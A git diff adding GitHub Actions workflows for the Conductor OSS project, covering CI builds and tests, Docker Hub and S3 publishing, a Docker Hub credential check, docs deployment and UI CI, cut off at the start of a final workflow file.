b/.github/workflows/ci.yml @@ -0,0 +1,419 @@ +name: CI + +on: + push: + branches: + - main + paths-ignore: + - "conductor-clients/**" + pull_request: + paths-ignore: + - "conductor-clients/**" + workflow_dispatch: + inputs: + redis_es8: + description: "Redis + Elasticsearch 8" + type: boolean + default: true + postgres: + description: "PostgreSQL" + type: boolean + default: false + mysql: + description: "MySQL" + type: boolean + default: false + redis_os3: + description: "Redis + OpenSearch 3" + type: boolean + default: false + redis_es7: + description: "Redis + Elasticsearch 7" + type: boolean + default: false + cassandra_es7: + description: "Cassandra + Elasticsearch 7" + type: boolean + default: false + +jobs: + detect-changes: + runs-on: ubuntu-latest + outputs: + heavy-persistence: ${{ steps.filter.outputs.heavy-persistence }} + steps: + - uses: actions/checkout@v7 + with: + ref: ${{ github.event.pull_request.head.sha }} + fetch-depth: 0 + - uses: dorny/paths-filter@v3 + id: filter + with: + filters: | + heavy-persistence: + - 'cassandra-persistence/**' + - 'es6-persistence/**' + - 'es7-persistence/**' + - 'es8-persistence/**' + - 'mysql-persistence/**' + - 'os-persistence/**' + - 'os-persistence-v2/**' + - 'os-persistence-v3/**' + - 'scheduler/cassandra-persistence/**' + - 'scheduler/mysql-persistence/**' + + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + with: + ref: ${{ github.event.pull_request.head.sha }} + fetch-depth: 0 + - name: Free disk space + run: | + sudo rm -rf /usr/share/dotnet + sudo rm -rf /usr/local/lib/android + sudo rm -rf /opt/ghc + - name: Gradle wrapper validation + uses: gradle/wrapper-validation-action@v3 + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: "zulu" + java-version: "21" + - name: Cache SonarCloud packages + uses: actions/cache@v5 + with: + path: ~/.sonar/cache + key: ${{ runner.os }}-sonar + restore-keys: ${{ runner.os }}-sonar + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: ${{ runner.os }}-gradle- + - name: Build with Gradle + if: github.ref != 'refs/heads/main' + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }} + run: | + ./gradlew build -x :conductor-test-harness:test -x test + - name: Build and Publish snapshot + if: github.event_name != 'pull_request' && github.ref == 'refs/heads/main' + run: | + echo "Running build for commit ${{ github.sha }}" + ./gradlew build -x :conductor-test-harness:test -x test + - name: Generate aggregated coverage report + if: always() + run: ./gradlew jacocoAggregatedReport -x test || true + - name: Publish Test Report + uses: mikepenz/action-junit-report@v6 + if: always() + with: + report_paths: "**/build/test-results/test/TEST-*.xml" + - name: Upload build artifacts + uses: actions/upload-artifact@v7 + with: + name: build-artifacts + path: "**/build/reports" + - name: Upload coverage report + uses: actions/upload-artifact@v7 + if: always() + with: + name: coverage-report + path: build/reports/jacoco/aggregated + unit-test: + needs: detect-changes + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + with: + ref: ${{ github.event.pull_request.head.sha }} + fetch-depth: 0 + - name: Free disk space + run: | + sudo rm -rf /usr/share/dotnet + sudo rm -rf /usr/local/lib/android + sudo rm -rf /opt/ghc + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: "zulu" + java-version: "21" + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: ${{ runner.os }}-gradle- + - name: Force Docker API Version + run: echo 'api.version=1.44' > ~/.docker-java.properties + - name: Run unit tests + run: | + # On main (post-merge): run everything + if [ "${{ github.event_name }}" != "pull_request" ]; then + ./gradlew test -x :conductor-test-harness:test + exit 0 + fi + # On PRs: skip heavy container tests (cassandra, es, mysql, opensearch) + # unless their code changed. Redis, postgres, sqlite always run. + if [ "${{ needs.detect-changes.outputs.heavy-persistence }}" == "true" ]; then + ./gradlew test -x :conductor-test-harness:test + else + ./gradlew test \ + -x :conductor-test-harness:test \ + -x :conductor-cassandra-persistence:test \ + -x :conductor-scheduler-cassandra-persistence:test \ + -x :conductor-es6-persistence:test \ + -x :conductor-es7-persistence:test \ + -x :conductor-es8-persistence:test \ + -x :conductor-mysql-persistence:test \ + -x :conductor-scheduler-mysql-persistence:test \ + -x :conductor-os-persistence:test \ + -x :conductor-os-persistence-v2:test \ + -x :conductor-os-persistence-v3:test + fi + - name: Publish Test Report + uses: mikepenz/action-junit-report@v6 + if: always() + with: + report_paths: "**/build/test-results/test/TEST-*.xml" + check_name: Unit Test Report + - name: Upload unit-test reports + uses: actions/upload-artifact@v7 + if: always() + with: + name: unit-test-reports + path: "**/build/reports/tests" + test-harness: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + with: + ref: ${{ github.event.pull_request.head.sha }} + fetch-depth: 0 + - name: Free disk space + run: | + sudo rm -rf /usr/share/dotnet + sudo rm -rf /usr/local/lib/android + sudo rm -rf /opt/ghc + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: "zulu" + java-version: "21" + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: ${{ runner.os }}-gradle- + - name: Force Docker API Version + run: echo 'api.version=1.44' > ~/.docker-java.properties + - name: Cache Docker images + uses: actions/cache@v5 + id: docker-cache + with: + path: /tmp/docker-images-test-harness.tar + key: docker-test-harness-v2 + - name: Load cached Docker images + if: steps.docker-cache.outputs.cache-hit == 'true' + run: docker load -i /tmp/docker-images-test-harness.tar || true + - name: Run test-harness tests + run: | + ./gradlew :conductor-test-harness:test + - name: Save Docker images for cache + if: steps.docker-cache.outputs.cache-hit != 'true' + run: | + set -euo pipefail + docker image prune -f + mapfile -t images < <((docker images --format '{{.Repository}}:{{.Tag}}' \ + | grep -v '' \ + | grep -E '(^|/)(elasticsearch|redis|postgres|mysql|mongo|cassandra)(:|/)|mockserver/mockserver|opensearchproject/opensearch|testcontainers/|orkesio/') || true) + if [ "${#images[@]}" -eq 0 ]; then + echo "No Testcontainers-related images to cache; writing empty tar for cache action." + tar -cf /tmp/docker-images-test-harness.tar --files-from /dev/null + exit 0 + fi + printf '%s\n' "${images[@]}" + docker save -o /tmp/docker-images-test-harness.tar "${images[@]}" + - name: Publish Test Report + uses: mikepenz/action-junit-report@v6 + if: always() + with: + report_paths: "test-harness/build/test-results/test/TEST-*.xml" + - name: Upload test-harness reports + uses: actions/upload-artifact@v7 + if: always() + with: + name: test-harness-reports + path: "test-harness/build/reports" + - name: Upload test-harness coverage report + uses: actions/upload-artifact@v7 + if: always() + with: + name: test-harness-coverage-report + path: "test-harness/build/reports/jacoco" + generate-e2e-matrix: + runs-on: ubuntu-latest + outputs: + matrix: ${{ steps.set-matrix.outputs.matrix }} + steps: + - id: set-matrix + shell: bash + run: | + if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then + items="" + [ "${{ inputs.redis_es8 }}" = "true" ] && items="${items}{\"name\":\"redis-es8\",\"script\":\"./e2e/run_tests-es8.sh\"}," + [ "${{ inputs.postgres }}" = "true" ] && items="${items}{\"name\":\"postgres\",\"script\":\"./e2e/run_tests-postgres.sh\"}," + [ "${{ inputs.mysql }}" = "true" ] && items="${items}{\"name\":\"mysql\",\"script\":\"./e2e/run_tests-mysql.sh\"}," + [ "${{ inputs.redis_os3 }}" = "true" ] && items="${items}{\"name\":\"redis-os3\",\"script\":\"./e2e/run_tests-redis-os3.sh\"}," + [ "${{ inputs.redis_es7 }}" = "true" ] && items="${items}{\"name\":\"redis-es7\",\"script\":\"./e2e/run_tests-redis-es7.sh\"}," + [ "${{ inputs.cassandra_es7 }}" = "true" ] && items="${items}{\"name\":\"cassandra-es7\",\"script\":\"./e2e/run_tests-cassandra-es7.sh\"}," + items="${items%,}" + echo "matrix={\"include\":[${items}]}" >> "$GITHUB_OUTPUT" + else + echo 'matrix={"include":[{"name":"redis-es8","script":"./e2e/run_tests-es8.sh"}]}' >> "$GITHUB_OUTPUT" + fi + + e2e: + needs: generate-e2e-matrix + if: ${{ needs.generate-e2e-matrix.outputs.matrix != '{"include":[]}' }} + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: ${{ fromJson(needs.generate-e2e-matrix.outputs.matrix) }} + steps: + - uses: actions/checkout@v7 + with: + ref: ${{ github.event.pull_request.head.sha }} + fetch-depth: 0 + - name: Free disk space + run: | + sudo rm -rf /usr/share/dotnet + sudo rm -rf /usr/local/lib/android + sudo rm -rf /opt/ghc + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: "zulu" + java-version: "21" + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: ${{ runner.os }}-gradle- + - name: Run E2E tests (${{ matrix.name }}) + run: ${{ matrix.script }} + - name: Publish Test Report + uses: mikepenz/action-junit-report@v6 + if: always() + with: + report_paths: "e2e/build/test-results/test/TEST-*.xml" + - name: Generate test summary table + if: always() + shell: python3 {0} + run: | + import os, glob, xml.etree.ElementTree as ET + + xml_files = glob.glob("e2e/build/test-results/test/TEST-*.xml") + rows = [] + totals = {"passed": 0, "failed": 0, "skipped": 0} + + for f in sorted(xml_files): + try: + root = ET.parse(f).getroot() + except ET.ParseError: + continue + for tc in root.iter("testcase"): + name = tc.get("name", "?") + classname = tc.get("classname", "").split(".")[-1] + duration = float(tc.get("time", 0)) + if tc.find("skipped") is not None: + status, totals["skipped"] = "⏭ skip", totals["skipped"] + 1 + elif tc.find("failure") is not None or tc.find("error") is not None: + node = tc.find("failure") if tc.find("failure") is not None else tc.find("error") + msg = (node.get("message") or "")[:120] + status, totals["failed"] = f"❌ `{msg}`", totals["failed"] + 1 + else: + status, totals["passed"] = "✅", totals["passed"] + 1 + rows.append((classname, name, f"{duration:.1f}s", status)) + + backend = "${{ matrix.name }}" + lines = [ + f"## E2E results — {backend}", + f"**✅ {totals['passed']} passed · ❌ {totals['failed']} failed · ⏭ {totals['skipped']} skipped**", + "", + "| Class | Test | Duration | Result |", + "|-------|------|----------|--------|", + ] + for cls, name, dur, status in rows: + lines.append(f"| {cls} | {name} | {dur} | {status} |") + + summary = os.environ.get("GITHUB_STEP_SUMMARY", "/dev/null") + with open(summary, "a") as fh: + fh.write("\n".join(lines) + "\n") + - name: Upload E2E reports + uses: actions/upload-artifact@v7 + if: always() + with: + name: e2e-reports-${{ matrix.name }} + path: "e2e/build/reports" + + build-ui: + runs-on: ubuntu-latest + defaults: + run: + working-directory: ui + steps: + - uses: actions/checkout@v7 + + - name: Set up Node + uses: actions/setup-node@v6 + with: + node-version: "22" + cache: "yarn" + cache-dependency-path: ui/yarn.lock + + - name: Install Dependencies + run: yarn install + + - name: Build UI + run: yarn run build + + - name: Cache Playwright browsers + uses: actions/cache@v5 + id: playwright-cache + with: + path: ~/.cache/ms-playwright + key: playwright-chromium-${{ hashFiles('ui/yarn.lock') }} + + - name: Install Playwright browsers + if: steps.playwright-cache.outputs.cache-hit != 'true' + run: npx playwright install --with-deps chromium + + - name: Install Playwright browser deps (cached) + if: steps.playwright-cache.outputs.cache-hit == 'true' + run: npx playwright install-deps chromium + + - name: Run Playwright E2E Tests + run: yarn test:e2e + + - name: Upload Playwright report + uses: actions/upload-artifact@v7 + if: failure() + with: + name: playwright-report + path: ui/playwright-report + retention-days: 7 diff --git a/.github/workflows/debug-docker-credentials.yml b/.github/workflows/debug-docker-credentials.yml new file mode 100644 index 0000000..34728a0 --- /dev/null +++ b/.github/workflows/debug-docker-credentials.yml @@ -0,0 +1,34 @@ +name: Debug Docker Credentials + +on: + workflow_dispatch: + +jobs: + check-docker-user: + runs-on: ubuntu-latest + steps: + - name: Check Docker Hub user for API key + env: + DOCKER_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }} + DOCKER_PASSWORD: ${{ secrets.DOCKERHUB_TOKEN }} + run: | + echo "Fetching JWT from Docker Hub..." + RESPONSE=$(curl -s -X POST \ + -H "Content-Type: application/json" \ + -d "{\"username\": \"${DOCKER_USERNAME}\", \"password\": \"${DOCKER_PASSWORD}\"}" \ + https://hub.docker.com/v2/users/login) + + JWT=$(echo "$RESPONSE" | jq -r '.token // empty') + + if [ -z "$JWT" ]; then + echo "Login failed. Response:" + echo "$RESPONSE" | jq . + exit 1 + fi + + echo "Login successful. Fetching user info..." + USER_INFO=$(curl -s -H "Authorization: Bearer $JWT" https://hub.docker.com/v2/user/) + echo "Raw response:" + echo "$USER_INFO" | jq . + echo "Docker Hub account info:" + echo "$USER_INFO" | jq '{username: .username, full_name: .full_name, email: .email, company: .company, date_joined: .date_joined}' diff --git a/.github/workflows/deprecate-standalone.yml b/.github/workflows/deprecate-standalone.yml new file mode 100644 index 0000000..10de359 --- /dev/null +++ b/.github/workflows/deprecate-standalone.yml @@ -0,0 +1,44 @@ +name: Deprecate conductor-standalone on Docker Hub + +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + deprecate: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v7 + + - name: Login to Docker Hub + uses: docker/login-action@v4 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Set up QEMU + uses: docker/setup-qemu-action@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v4 + + - name: Build and push :deprecated tag + uses: docker/build-push-action@v7 + with: + context: docker/conductor-standalone-deprecation + platforms: linux/amd64,linux/arm64 + push: true + tags: conductoross/conductor-standalone:deprecated + + - name: Update Docker Hub description + run: | + TOKEN=$(curl -s -X POST "https://hub.docker.com/v2/users/login" \ + -H "Content-Type: application/json" \ + -d "{\"username\":\"${{ secrets.DOCKERHUB_USERNAME }}\",\"password\":\"${{ secrets.DOCKERHUB_TOKEN }}\"}" \ + | jq -r '.token') + curl -s -X PATCH "https://hub.docker.com/v2/repositories/conductoross/conductor-standalone/" \ + -H "Authorization: Bearer ${TOKEN}" \ + -H "Content-Type: application/json" \ + -d "{\"full_description\":$(jq -Rs . < docker/conductor-standalone-deprecation/dockerhub-description.md)}" diff --git a/.github/workflows/generate_gh_pages.yml b/.github/workflows/generate_gh_pages.yml new file mode 100644 index 0000000..98c4105 --- /dev/null +++ b/.github/workflows/generate_gh_pages.yml @@ -0,0 +1,25 @@ +name: Publish docs via GitHub Pages + +permissions: + contents: write + +on: + push: + branches: + - main + workflow_dispatch: + +jobs: + build: + name: Deploy docs + runs-on: ubuntu-latest + steps: + - name: Checkout main + uses: actions/checkout@v7 + + - name: Deploy docs + uses: mhausenblas/mkdocs-deploy-gh-pages@master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + CONFIG_FILE: mkdocs.yml + REQUIREMENTS: requirements.txt diff --git a/.github/workflows/publish-next.yaml b/.github/workflows/publish-next.yaml new file mode 100644 index 0000000..ebe53cc --- /dev/null +++ b/.github/workflows/publish-next.yaml @@ -0,0 +1,113 @@ +name: Publish Next (ui-next) +# Publishes the server with ui-next as a parallel track alongside :latest. +# Does NOT touch :latest, any versioned release tags, or the existing S3 JARs. +# +# Resulting artifacts: +# Docker: conductoross/conductor:next +# S3 JAR: conductor-server-next.jar +# +# Test the Docker image: +# docker run -p 8080:8080 -p 5000:5000 conductoross/conductor:next +# → API / Swagger: http://localhost:8080 +# → ui-next: http://localhost:5000 +# +# Test via the CLI: +# conductor server start --version next +# +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + publish-next: + runs-on: ubuntu-latest + name: Build and publish ui-next artifacts + + steps: + - uses: actions/checkout@v7 + + # ── Java ───────────────────────────────────────────────────────────────── + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: '21' + + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: | + ${{ runner.os }}-gradle- + + - name: Build Server JAR + run: | + ./gradlew :conductor-server:build -x test -x spotlessCheck -x shadowJar \ + -Dorg.gradle.jvmargs=-Xmx2g --no-daemon + + # ── UI (ui-next) ───────────────────────────────────────────────────────── + - name: Set up Node.js + uses: actions/setup-node@v6 + with: + node-version: '22' + + - name: Set up pnpm + uses: pnpm/action-setup@v6 + with: + version: "10.32.0" + + - name: Build ui-next + run: | + cd ui-next + pnpm install && pnpm build + + # ── Stage pre-built artifacts for PREBUILT=true Docker build ───────────── + - name: Stage artifacts + run: | + mkdir -p docker/server/libs + cp server/build/libs/*boot*.jar docker/server/libs/conductor-server.jar + + # ── Docker ─────────────────────────────────────────────────────────────── + - name: Login to Docker Hub + uses: docker/login-action@v4 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Set up QEMU + uses: docker/setup-qemu-action@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v4 + + - name: Build and push :next image + uses: docker/build-push-action@v7 + with: + context: . + file: docker/server/Dockerfile.next + platforms: linux/arm64,linux/amd64 + push: true + build-args: | + PREBUILT=true + tags: | + conductoross/conductor:next + + # ── S3 JAR ─────────────────────────────────────────────────────────────── + - name: Configure AWS credentials + uses: aws-actions/configure-aws-credentials@v6 + with: + aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} + aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + aws-region: ${{ secrets.AWS_REGION }} + + - name: Upload :next JAR to S3 + run: | + aws s3 cp server/build/libs/*boot*.jar \ + s3://${{ secrets.AWS_S3_BUCKET }}/conductor-server-next.jar + echo "Published: conductor-server-next.jar" + echo "Test with: conductor server start --version next" diff --git a/.github/workflows/publish.yml b/.github/workflows/publish.yml new file mode 100644 index 0000000..3974fc0 --- /dev/null +++ b/.github/workflows/publish.yml @@ -0,0 +1,114 @@ +name: Publish Conductor OSS toMaven Central +on: + release: + types: + - released + - prereleased + workflow_dispatch: + inputs: + version: + description: 'Version to publish (e.g., v1.0.0)' + required: true +permissions: + contents: read + +jobs: + publish: + runs-on: ubuntu-latest + name: Gradle Build and Publish + steps: + - uses: actions/checkout@v7 + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: '21' + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: | + ${{ runner.os }}-gradle- + - name: Publish release + run: | + export VERSION="${{github.ref_name}}" + export PUBLISH_VERSION=`echo ${VERSION:1}` + echo Publishing version $PUBLISH_VERSION + ./gradlew publish -PmavenCentral -Pversion=$PUBLISH_VERSION -Pusername=${{ secrets.SONATYPE_USERNAME }} -Ppassword=${{ secrets.SONATYPE_PASSWORD }} + env: + ORG_GRADLE_PROJECT_signingKeyId: ${{ secrets.SIGNING_KEY_ID }} + ORG_GRADLE_PROJECT_signingKey: ${{ secrets.SIGNING_KEY }} + ORG_GRADLE_PROJECT_signingPassword: ${{ secrets.SIGNING_PASSWORD }} + + publish-docker: + runs-on: ubuntu-latest + name: Gradle Build and Publish to Container Registry + steps: + - uses: actions/checkout@v7 + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: '21' + + - name: Login to Docker Hub Container Registry + uses: docker/login-action@v4 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Set up Node.js + uses: actions/setup-node@v6 + with: + node-version: 'lts/*' + + - name: Build ui-next and embed into server static resources + run: | + corepack enable + cd ui-next + pnpm install + NODE_OPTIONS=--max-old-space-size=4096 pnpm build + cd .. + mkdir -p server/src/main/resources/static + rm -rf server/src/main/resources/static/* + cp -r ui-next/dist/. server/src/main/resources/static/ + + - name: Build Server JAR + run: | + export VERSION="${{github.ref_name}}" + export PUBLISH_VERSION=`echo ${VERSION:1}` + echo "RELEASE_VERSION=$PUBLISH_VERSION" >> $GITHUB_ENV + echo Publishing version $PUBLISH_VERSION + ./gradlew :conductor-server:build -x test -x spotlessCheck -x shadowJar -x :conductor-os-persistence-v3:build \ + -Pversion=$PUBLISH_VERSION + + - name: Stage artifacts for Docker build + run: | + mkdir -p docker/server/libs + cp server/build/libs/*boot*.jar docker/server/libs/conductor-server.jar + + - name: Set up QEMU + uses: docker/setup-qemu-action@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v4 + + - name: Build and push Server + uses: docker/build-push-action@v7 + with: + context: . + file: docker/server/Dockerfile + platforms: linux/arm64,linux/amd64 + push: true + build-args: | + PREBUILT=true + tags: | + conductoross/conductor:${{ env.RELEASE_VERSION }} + orkesio/orkes-conductor-community-standalone:${{ env.RELEASE_VERSION }} + orkesio/orkes-conductor-community:${{ env.RELEASE_VERSION }} + ${{ (github.event_name == 'release' && !github.event.release.prerelease && !contains(github.ref_name, 'rc') && !contains(github.ref_name, 'beta') && !contains(github.ref_name, 'alpha')) && 'conductoross/conductor:latest' || '' }} + ${{ (github.event_name == 'release' && !github.event.release.prerelease && !contains(github.ref_name, 'rc') && !contains(github.ref_name, 'beta') && !contains(github.ref_name, 'alpha')) && 'orkesio/orkes-conductor-community-standalone:latest' || '' }} + ${{ (github.event_name == 'release' && !github.event.release.prerelease && !contains(github.ref_name, 'rc') && !contains(github.ref_name, 'beta') && !contains(github.ref_name, 'alpha')) && 'orkesio/orkes-conductor-community:latest' || '' }} \ No newline at end of file diff --git a/.github/workflows/publish_build.yaml b/.github/workflows/publish_build.yaml new file mode 100644 index 0000000..66a9517 --- /dev/null +++ b/.github/workflows/publish_build.yaml @@ -0,0 +1,100 @@ +name: Publish Conductor OSS Server +on: + release: + types: + - released + - prereleased + workflow_dispatch: + inputs: + version: + description: 'Version to publish (e.g., v1.0.0)' + required: true +permissions: + contents: read + +jobs: + publish: + runs-on: ubuntu-latest + name: Build and Publish the server + permissions: + contents: write + steps: + - uses: actions/checkout@v7 + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: '21' + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: | + ${{ runner.os }}-gradle- + - name: Set version + id: version + run: | + # Use inputs.version for workflow_dispatch, or ref_name for release events + VERSION="${{ github.event.inputs.version || github.ref_name }}" + # Strip the 'v' prefix if present + PUBLISH_VERSION="${VERSION#v}" + echo "version=$PUBLISH_VERSION" >> $GITHUB_OUTPUT + echo "RELEASE_VERSION=$PUBLISH_VERSION" >> $GITHUB_ENV + echo "Publishing version: $PUBLISH_VERSION" + - name: Build Server JAR + run: | + ./gradlew :conductor-server:build -x test -x spotlessCheck -x shadowJar -x :conductor-os-persistence-v3:build \ + -Pversion=${{ steps.version.outputs.version }} + + - name: Set up Node.js + uses: actions/setup-node@v6 + with: + node-version: 'lts/*' + + - name: Build ui-next and embed into server static resources + run: | + corepack enable + cd ui-next + pnpm install + NODE_OPTIONS=--max-old-space-size=4096 pnpm build + cd .. + mkdir -p server/src/main/resources/static + rm -rf server/src/main/resources/static/* + cp -r ui-next/dist/. server/src/main/resources/static/ + + - name: Stage artifacts for Docker build + run: | + mkdir -p docker/server/libs + cp server/build/libs/*boot*.jar docker/server/libs/conductor-server.jar + + - name: Login to Docker Hub Container Registry + uses: docker/login-action@v4 + with: + username: ${{ secrets.DOCKERHUB_USERNAME }} + password: ${{ secrets.DOCKERHUB_TOKEN }} + + - name: Set up QEMU + uses: docker/setup-qemu-action@v4 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v4 + + - name: Build and push Server + uses: docker/build-push-action@v7 + with: + context: . + file: docker/server/Dockerfile + platforms: linux/arm64,linux/amd64 + push: true + build-args: | + PREBUILT=true + tags: | + conductoross/conductor:${{ env.RELEASE_VERSION }} + orkesio/orkes-conductor-community-standalone:${{ env.RELEASE_VERSION }} + orkesio/orkes-conductor-community:${{ env.RELEASE_VERSION }} + ${{ (github.event_name == 'release' && !github.event.release.prerelease) && 'conductoross/conductor:latest' || '' }} + ${{ (github.event_name == 'release' && !github.event.release.prerelease) && 'orkesio/orkes-conductor-community-standalone:latest' || '' }} + ${{ (github.event_name == 'release' && !github.event.release.prerelease) && 'orkesio/orkes-conductor-community:latest' || '' }} diff --git a/.github/workflows/publish_s3.yaml b/.github/workflows/publish_s3.yaml new file mode 100644 index 0000000..a4e5947 --- /dev/null +++ b/.github/workflows/publish_s3.yaml @@ -0,0 +1,84 @@ +name: Publish Conductor Server to S3 +on: + push: + branches: + - docker_build # TEMPORARY - remove before merging to main + release: + types: + - released + - prereleased + workflow_dispatch: + inputs: + version: + description: 'Version to publish (e.g., v1.0.0)' + required: true + +permissions: + contents: read + +jobs: + publish-s3: + runs-on: ubuntu-latest + name: Build and Publish Server JAR to S3 + steps: + - uses: actions/checkout@v7 + + - name: Set up Zulu JDK 21 + uses: actions/setup-java@v5 + with: + distribution: 'zulu' + java-version: '21' + + - name: Cache Gradle packages + uses: actions/cache@v5 + with: + path: | + ~/.gradle/caches + ~/.gradle/wrapper + key: ${{ runner.os }}-gradle-${{ hashFiles('**/*.gradle*', '**/gradle-wrapper.properties') }} + restore-keys: | + ${{ runner.os }}-gradle- + + - name: Set version + id: version + run: | + # Use inputs.version for workflow_dispatch, or ref_name for release events + VERSION="${{ github.event.inputs.version || github.ref_name }}" + # Strip the 'v' prefix if present + PUBLISH_VERSION="${VERSION#v}" + echo "version=$PUBLISH_VERSION" >> $GITHUB_OUTPUT + echo "Publishing version: $PUBLISH_VERSION" + + - name: Set up Node.js + uses: actions/setup-node@v6 + with: + node-version: 'lts/*' + + - name: Build Server module + run: | + corepack enable + ./build_ui_next.sh + ./gradlew :conductor-server:bootJar -x test -Pversion=${{ steps.version.outputs.version }} + + - name: Configure AWS credentials + uses: aws-actions/configure-aws-credentials@v6 + with: + aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} + aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} + aws-region: ${{ secrets.AWS_REGION }} + + - name: Upload Server JAR to S3 (Versioned) + run: | + aws s3 cp server/build/libs/conductor-server-${{ steps.version.outputs.version }}-boot.jar \ + s3://${{ secrets.AWS_S3_BUCKET }}/conductor-server-${{ steps.version.outputs.version }}.jar + + - name: Upload Server JAR to S3 (Latest) + if: github.event_name == 'release' && !github.event.release.prerelease + run: | + aws s3 cp server/build/libs/conductor-server-${{ steps.version.outputs.version }}-boot.jar \ + s3://${{ secrets.AWS_S3_BUCKET }}/conductor-server-latest.jar + + - name: Verify uploads + run: | + echo "Uploaded conductor-server-${{ steps.version.outputs.version }}.jar" + echo "S3 bucket: ${{ secrets.AWS_S3_BUCKET }}" diff --git a/.github/workflows/release_draft.yml b/.github/workflows/release_draft.yml new file mode 100644 index 0000000..e8ab5b5 --- /dev/null +++ b/.github/workflows/release_draft.yml @@ -0,0 +1,22 @@ +name: Release Drafter + +on: + push: + branches: + - main + paths-ignore: + - 'conductor-clients/**' + +permissions: + contents: read + +jobs: + update_release_draft: + permissions: + contents: write # for release-drafter/release-drafter to create a github release + pull-requests: write # for release-drafter/release-drafter to add label to PR + runs-on: ubuntu-latest + steps: + - uses: release-drafter/release-drafter@v7 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/ui-next-ci.yml b/.github/workflows/ui-next-ci.yml new file mode 100644 index 0000000..06482d7 --- /dev/null +++ b/.github/workflows/ui-next-ci.yml @@ -0,0 +1,81 @@ +name: UI v2 CI + +on: + pull_request: + branches: + - main + paths: + - "ui-next/**" + push: + branches: + - main + paths: + - "ui-next/**" + +permissions: + contents: read + +jobs: + lint-format-test: + name: Lint, Format & Test + runs-on: ubuntu-latest + defaults: + run: + working-directory: ui-next + + steps: + - uses: actions/checkout@v7 + + - name: Setup pnpm + uses: pnpm/action-setup@v6 + with: + version: 10.32.0 + + # setup-node must come after pnpm/action-setup so it can locate the store. + - name: Setup Node.js + uses: actions/setup-node@v6 + with: + node-version: 22 + cache: pnpm + cache-dependency-path: ui-next/pnpm-lock.yaml + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Prettier check + run: pnpm prettier:check + + - name: Lint + run: pnpm lint + + - name: Type check + run: pnpm typecheck + + - name: Test + run: pnpm test + + - name: Build + run: pnpm build + + e2e-mocked: + name: E2E (Mocked) + runs-on: ubuntu-latest + needs: lint-format-test + + steps: + - uses: actions/checkout@v7 + + - name: Set up Docker Buildx + uses: docker/setup-buildx-action@v4 + + - name: Run E2E tests in Docker + run: docker compose -f docker-compose.snapshots.yml run --rm playwright + working-directory: ui-next + + - name: Upload Playwright report + uses: actions/upload-artifact@v7 + if: failure() + with: + name: playwright-report + path: ui-next/playwright-snapshots-report/ + retention-days: 7 diff --git a/.github/workflows/ui-next-integration-ci.yml b/.github/workflows/ui-next-integration-ci.yml new file mode 100644 index 0000000..41a3a9b --- /dev/null +++ b/.github/workflows/ui-next-integration-ci.yml @@ -0,0 +1,103 @@ +name: UI v2 Integration CI 